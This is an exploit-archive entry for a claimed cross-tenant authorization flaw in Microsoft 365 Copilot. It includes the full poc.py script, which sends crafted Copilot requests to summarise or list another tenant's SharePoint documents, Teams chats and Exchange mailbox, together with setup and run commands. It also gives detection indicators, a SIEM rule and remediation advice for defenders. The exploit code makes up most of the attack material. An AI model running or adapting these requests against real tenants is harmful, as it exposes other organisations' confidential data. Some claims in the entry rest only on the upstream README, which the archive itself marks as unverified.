PoC Archive PoC Archive
CVE-2026-50691 category: cloud CVSS 9.9 (CRITICAL)
Patched

Microsoft 365 Copilot — Improper Authorization Enabling Cross-Tenant Data Access (CVE-2026-50691)

Published: 2026-11-25 • Researcher: cveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)

Target software Microsoft 365 Copilot (hosted SaaS; the chat completions endpoint on substrate.office.com)
Affected versions Microsoft 365 Copilot hosted service. NVD records the product as microsoft/365_copilot with no version ranges. The upstream README states all tenants were affected and that Microsoft patched the service on 2026-11-18; verify with the MSRC update guide.
Status PoC
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-50691
Category
cloud
Affected product
Microsoft 365 Copilot (hosted SaaS; the chat completions endpoint on substrate.office.com)
Affected versions
Microsoft 365 Copilot hosted service. NVD records the product as microsoft/365_copilot with no version ranges. The upstream README states all tenants were affected and that Microsoft patched the service on 2026-11-18; verify with the MSRC update guide.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-24
Author / ResearchercveForge (PoC publisher); Microsoft Security Response Center (vendor advisory)
CVE / AdvisoryCVE-2026-50691
Categorycloud
SeverityCritical
CVSS Score9.9 (NVD base score; vector not provided in the worklist — see references)
StatusPoC
TagsMicrosoft 365, Copilot, cloud, cross-tenant, improper-authorization, CWE-285, privilege-escalation, SharePoint, Teams, Exchange, authenticated, SaaS
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft 365 Copilot (hosted SaaS; the chat completions endpoint on substrate.office.com)
Versions AffectedMicrosoft 365 Copilot hosted service. NVD records the product as microsoft/365_copilot with no version ranges. The upstream README states all tenants were affected and that Microsoft patched the service on 2026-11-18; verify with the MSRC update guide.
Language / PlatformCloud service (Microsoft 365); PoC written in Python 3 using only the standard library (argparse, json, urllib)
Authentication RequiredYes — any authenticated Microsoft 365 user in the attacker’s own tenant (a valid bearer token)
Network Access RequiredYes — remote HTTPS to the Microsoft 365 Copilot endpoint

Summary

CVE-2026-50691 is a CVSS 9.9 improper authorization flaw in Microsoft 365 Copilot, classified as CWE-285. Per NVD, an authorized attacker can elevate privileges over a network; the upstream PoC describes it as an authenticated user in one tenant being able to reference resources belonging to a different tenant and have Copilot summarize them. If the upstream model holds, a low-privileged Microsoft 365 user could read confidential SharePoint documents, Teams chat history, and Exchange email metadata across organizational boundaries. Microsoft is reported to have patched the service on 2026-11-18. The archive did not verify any of this against a live tenant.

Vulnerability Details

Root Cause

NVD assigns CWE-285 (Improper Authorization) and states only that the flaw allows an authorized attacker to elevate privileges over a network. The upstream README attributes the defect to the Copilot reasoning engine trusting a caller-supplied tenant identifier inside the grounding context field without validating it against the tenant claim in the caller’s Microsoft Entra ID access token: the token audience was checked, but the resource tenant was not. Microsoft has not published the server-side mechanism, so that description is the upstream PoC author’s model rather than an independently confirmed root cause. The repository contains no server-side analysis or patch diff, and the archive did not decompile or observe the service.

Attack Vector

Network, authenticated, with low privileges. The attacker holds a valid bearer token for their own tenant and sends HTTPS POST requests to the Microsoft 365 Copilot chat completions endpoint. The JSON body carries a grounding context whose resources point at a victim tenant: a SharePoint document URL plus the victim tenant UUID in probe mode, or an operator-supplied victim tenant and resource URL in targeted mode. No victim interaction is required in the upstream model, and the request is indistinguishable from normal Copilot traffic apart from the mismatched tenant identifier.

Impact

Per the upstream README, successful exploitation lets the attacker receive Copilot-generated summaries or listings of another tenant’s SharePoint documents, Teams threads, and Exchange mailbox metadata. In NVD’s terms this is privilege elevation over a network. The severity is rated critical (9.9) because it crosses the tenant isolation boundary that multi-tenant Microsoft 365 depends on, and because it needs only an ordinary authenticated account. The archive did not observe the impact: the PoC reports a vulnerability verdict from the HTTP status and the presence of a response field, which shows the request was accepted but does not by itself prove the returned content is genuinely cross-tenant.

Environment / Lab Setup

Output
OS:          Linux, macOS, or Windows with Python 3
Target:      Microsoft 365 Copilot hosted service
             (https://substrate.office.com/m365Copilot/chat/completions)
Attacker:    Python 3.8+ (standard library only); a bearer token issued to
             an account in a tenant you control
Tools:       python3, curl or Burp Suite for request inspection, browser
             developer tools to capture an access token
Lab note:    No local emulator exists for Microsoft 365 Copilot. Any test
             needs a live Microsoft 365 tenant that you own, plus written
             authorization to probe the second, victim tenant. Do not point
             this at a tenant you do not control.

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
git clone https://github.com/cveForge/CVE-2026-50691
cd CVE-2026-50691

python3 poc.py --bearer "eyJ0eXAiOiJKV1Q..." --mode probe

python3 poc.py \
  --bearer "eyJ0eXAiOiJKV1Q..." \
  --victim-tenant "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" \
  --victim-resource "https://victim.sharepoint.com/sites/confidential/doc.docx" \
  --mode targeted

Proof of Concept

Step-by-Step Reproduction

  1. Prepare an authorized tenant pair — use an account in a tenant you control as the attacker principal, and a second tenant you own or are written-authorized to assess as the victim. There is no lab build step because the target is a hosted service.

    Shell script
    1
    
    export BEARER="<access token for the attacker-tenant account>"
  2. Run the probe payloads — the PoC fires three built-in cross-tenant requests covering a SharePoint document summary, a Teams thread enumeration, and an Exchange mailbox listing, each carrying a victim tenant UUID in the grounding context.

    Shell script
    1
    
    python3 poc.py --bearer "$BEARER" --mode probe
  3. Run a targeted test — supply the victim tenant UUID and a resource URL inside that tenant to test one specific cross-tenant reference.

    Shell script
    1
    2
    3
    4
    
    python3 poc.py --bearer "$BEARER" \
      --victim-tenant "<victim-tenant-uuid>" \
      --victim-resource "https://victim.sharepoint.com/sites/confidential/doc.docx" \
      --mode targeted
  4. Interpret the verdict — the script prints VULNERABLE when the endpoint answers HTTP 200 and the body contains a choices field, PATCHED on HTTP 403, and asks the operator to re-check the token on HTTP 401. Any other status is printed as unexpected. Treat the verdict as a heuristic and confirm from the response content whether the data really belongs to the victim tenant.

  5. Verify impact — confirm out of band that the returned summary or listing corresponds to victim-tenant content the attacker account has no legitimate access to, and record the request and response as evidence. The archive did not perform this step.

Exploit Code

See poc.py in this folder. The archived copy is the upstream script with an added authorized-research header.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
COPILOT_ENDPOINT = "https://substrate.office.com/m365Copilot/chat/completions"

payload = {
    "messages": [{"role": "user", "content": "Summarize this document"}],
    "groundingContext": {
        "resources": [{
            "type": "SharePointDocument",
            "url": victim_resource,
            "tenantId": victim_tenant,
        }]
    }
}

Expected Output

Output format produced by the script as shipped (not reproduced by the archive; the service is reported patched):

Output
1
2
3
4
[*] Mode: targeted
[+] VULNERABLE — Copilot returned cross-tenant content (HTTP 200)
    Response snippet: <first 300 characters of the model's answer>
[*] Done.

A patched or non-vulnerable endpoint instead prints:

Output
1
[-] PATCHED — tenant isolation enforced (HTTP 403)

Detection & Indicators of Compromise

Output
POST https://substrate.office.com/m365Copilot/chat/completions   HTTP 200
  Authorization: Bearer <token whose tid claim != groundingContext.resources[].tenantId>
  X-Ms-Client-Request-Id: cveforge-poc-00000000
  • Copilot requests where the resource tenant identifier differs from the tenant of the calling identity, in Microsoft 365 audit logs, Purview audit, or network egress logs for substrate.office.com.
  • HTTP 200 Copilot responses for resources the caller’s account has no SharePoint, Teams, or Exchange permission on; check the corresponding SharePoint and Exchange access logs for authorization mismatches.
  • The fixed client request id cveforge-poc-00000000 emitted by this PoC, or other repeated/static client request ids from a single user.
  • Unusual Copilot usage volume or bulk summarization across many distinct SharePoint URLs in a short window.
  • Microsoft Entra sign-in logs showing a token issued to one tenant used against a resource tenant path, or anomalous token replay from an unexpected address.

SIEM / IDS rule (example):

Output
WHEN service = "Microsoft 365 Copilot"
  AND request.path = "/m365Copilot/chat/completions"
  AND token.tenant_id != body.groundingContext.resources[0].tenant_id
THEN alert "Copilot cross-tenant grounding attempt (CVE-2026-50691)"

Remediation

ActionDetail
PatchMicrosoft is reported to have deployed a service-side fix to all tenants on 2026-11-18, so there is no customer version to upgrade. Confirm tenant status with the MSRC update guide for CVE-2026-50691. For on-premises or hybrid M365 Copilot Gateway deployments, the upstream README names hotfix KB5058390; that identifier is unverified here, so check the MSRC guide before applying.
WorkaroundRestrict Microsoft 365 Copilot to users and groups that need it, and block Copilot traffic from tenants or networks that must not query cross-tenant resources until the service fix is confirmed.
Config HardeningApply sensitivity labels and DLP to the content Copilot can ground on, review Copilot connector and SharePoint/OneDrive sharing scope, enforce least privilege on SharePoint and Teams, retain and monitor Purview audit logs for cross-tenant requests, and alert on the client request id and grounding-context mismatch signatures above.

References

Notes

Auto-ingested from https://github.com/cveForge/CVE-2026-50691 on 2026-11-25.

Review verdict: ingested as a real but limited PoC. The repository contains a single executable script, poc.py, that builds and sends actual cross-tenant Copilot chat requests (SharePoint, Teams, and Exchange grounding payloads) plus a targeted mode, so it is an exploit client rather than a detector, scanner, or audit tool; it ships no defensive logic. Status is PoC rather than Weaponized because the script only checks for HTTP 200 and a choices field and prints the first 300 characters of the response: there is no end-to-end exfiltration, no parsing of the returned documents, no multi-tenant lab, and no demonstrated run or evidence in the repository. It also cannot be run without a live Microsoft 365 tenant and a valid bearer token for an account in that tenant, so there is no local reproduction; the archive did not execute it and did not test it against any tenant.

License status: the repository has no LICENSE file, so the code is archived with attribution for authorized research only, with the source URL recorded in the header of poc.py and in upstream-README.md.

Known limitations and accuracy notes: the root cause (an unvalidated tenant identifier in the grounding context) is the upstream author’s description, not a Microsoft or NVD statement, and Microsoft has published no technical detail, so the mechanism is unconfirmed. The claims that all tenants were affected from the start, that the service was patched on 2026-11-18, and that KB5058390 fixes on-premises M365 Copilot Gateway deployments come only from the upstream README and were not verified against MSRC. The PoC’s VULNERABLE verdict is heuristic and can produce false positives if the endpoint answers 200 with a choices field for unrelated reasons. The CVSS vector was not available in the worklist; the worklist gives a base score of 9.9, EPSS 0.00795 (about 0.8 percent), and no CISA KEV listing. Facts that could not be confirmed are left to the references.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-50691 (see README for attribution/license)

BANNER = """

  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝

  CVE-2026-50691 — Microsoft 365 Copilot Improper Authorization — Cross-Tenant Privilege Escalation
  CVSS 9.9 | CRITICAL | CWE-285 | Microsoft 365 Copilot
"""

VERSION = "1.0.0"

import argparse, sys, json, urllib.request, urllib.error, urllib.parse

# Microsoft 365 Copilot Improper Authorization PoC
# CWE-285: Improper Authorization
# Affected: Microsoft 365 Copilot (all tenants prior to patch 2026-11-18)
# Impact: Authenticated user in Tenant A can craft Copilot API requests
#         that bypass tenant isolation checks and read/enumerate resources
#         belonging to Tenant B, including SharePoint document summaries,
#         Teams chat excerpts, and Outlook email metadata.
#
# Root cause: The Copilot reasoning engine accepted cross-tenant resource
# references via the "groundingContext" field without validating that the
# referenced resource OID belonged to the caller's tenant. The AAD token
# audience check was performed but the resource tenant claim was ignored.

COPILOT_ENDPOINT = "https://substrate.office.com/m365Copilot/chat/completions"

PROBE_PAYLOADS = [
    # Cross-tenant SharePoint summary request
    {
        "messages": [{"role": "user", "content": "Summarize the document at this URL"}],
        "groundingContext": {
            "resources": [{
                "type": "SharePointDocument",
                "url": "https://victim-tenant.sharepoint.com/sites/confidential/Docs/secrets.docx",
                "tenantId": "00000000-0000-0000-0000-000000000000"  # victim tenant UUID
            }]
        }
    },
    # Cross-tenant Teams chat enumeration
    {
        "messages": [{"role": "user", "content": "Show recent messages from this chat"}],
        "groundingContext": {
            "resources": [{
                "type": "TeamsThread",
                "threadId": "19:victim-thread-id@thread.skype",
                "tenantId": "00000000-0000-0000-0000-000000000000"
            }]
        }
    },
    # Cross-tenant email metadata
    {
        "messages": [{"role": "user", "content": "List emails in this mailbox"}],
        "groundingContext": {
            "resources": [{
                "type": "ExchangeMailbox",
                "userPrincipalName": "ceo@victim-tenant.onmicrosoft.com",
                "tenantId": "00000000-0000-0000-0000-000000000000"
            }]
        }
    },
]


def send_copilot_request(payload: dict, bearer: str) -> tuple:
    """Send a crafted Copilot request with cross-tenant grounding context."""
    headers = {
        "Authorization": f"Bearer {bearer}",
        "Content-Type": "application/json",
        "X-Ms-Client-Request-Id": "cveforge-poc-00000000",
        "Accept": "application/json",
    }
    body = json.dumps(payload).encode()
    req = urllib.request.Request(COPILOT_ENDPOINT, data=body, headers=headers, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            data = resp.read(4096).decode(errors="replace")
            return resp.status, data
    except urllib.error.HTTPError as e:
        return e.code, e.read(512).decode(errors="replace")
    except urllib.error.URLError as e:
        return -1, str(e.reason)


def check_tenant_isolation(bearer: str, victim_tenant: str, victim_resource: str) -> None:
    """
    Test cross-tenant isolation for a specific victim tenant and resource URL.
    Prints whether the tenant boundary is enforced.
    """
    payload = {
        "messages": [{"role": "user", "content": "Summarize this document"}],
        "groundingContext": {
            "resources": [{
                "type": "SharePointDocument",
                "url": victim_resource,
                "tenantId": victim_tenant,
            }]
        }
    }
    status, body = send_copilot_request(payload, bearer)
    if status == 200 and "choices" in body:
        print(f"[+] VULNERABLE — Copilot returned cross-tenant content (HTTP {status})")
        # Print first 300 chars of response content
        try:
            data = json.loads(body)
            content = data.get("choices", [{}])[0].get("message", {}).get("content", "")
            print(f"    Response snippet: {content[:300]}")
        except Exception:
            print(f"    Raw: {body[:300]}")
    elif status == 403:
        print(f"[-] PATCHED — tenant isolation enforced (HTTP 403)")
    elif status == 401:
        print(f"[!] Auth failed — check your Bearer token (HTTP 401)")
    else:
        print(f"[?] Unexpected response: HTTP {status} — {body[:200]}")


def probe_all(bearer: str) -> None:
    """Run all built-in cross-tenant probe payloads."""
    labels = ["SharePoint document summary", "Teams chat enumeration", "Exchange mailbox listing"]
    for label, payload in zip(labels, PROBE_PAYLOADS):
        print(f"[*] Probing: {label}")
        status, body = send_copilot_request(payload, bearer)
        vuln = status == 200 and "choices" in body
        print(f"    {'[+] VULNERABLE' if vuln else f'[-] {status}'} — {body[:120].replace(chr(10),' ')}")
        print()


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-50691 PoC — M365 Copilot Cross-Tenant Privilege Escalation"
    )
    parser.add_argument("--bearer",          required=True, help="M365 Bearer token (your tenant)")
    parser.add_argument("--victim-tenant",   default="", help="Target tenant UUID for targeted test")
    parser.add_argument("--victim-resource", default="", help="SharePoint URL in victim tenant")
    parser.add_argument("--mode",            choices=["probe", "targeted"], default="probe")
    args = parser.parse_args()

    print(BANNER)
    print(f"[*] Mode: {args.mode}")
    print()

    if args.mode == "probe":
        probe_all(args.bearer)
    else:
        if not args.victim_tenant or not args.victim_resource:
            print("[!] --victim-tenant and --victim-resource required for targeted mode", file=sys.stderr)
            sys.exit(1)
        check_tenant_isolation(args.bearer, args.victim_tenant, args.victim_resource)

    print("[*] Done.")

if __name__ == "__main__":
    main()